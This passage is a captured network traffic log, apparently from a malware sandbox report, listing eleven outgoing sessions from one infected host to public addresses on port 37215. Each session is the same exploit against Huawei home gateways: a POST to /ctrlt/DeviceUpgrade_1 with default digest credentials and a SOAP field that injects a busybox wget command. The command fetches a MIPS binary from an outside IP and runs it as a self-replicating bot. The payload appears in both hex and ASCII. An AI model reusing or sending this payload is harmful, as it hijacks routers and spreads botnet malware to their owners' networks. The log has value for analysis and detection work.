xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	60000	41.63.44.18	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:05.205221891 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	58744	41.180.130.242	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.130383015 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	41240	156.225.22.253	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.131190062 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	39370	41.99.242.230	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.131793976 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	36088	197.171.102.195	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.132399082 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	43494	41.46.127.52	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.133004904 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	35772	197.191.245.38	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.133630991 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	52950	156.55.180.225	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.134248018 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	37734	156.244.153.180	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.134824991 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	49802	156.46.13.57	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:06.135452986 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	43722	197.50.34.79	37215

Timestamp	Bytes transferred	Direction	Data
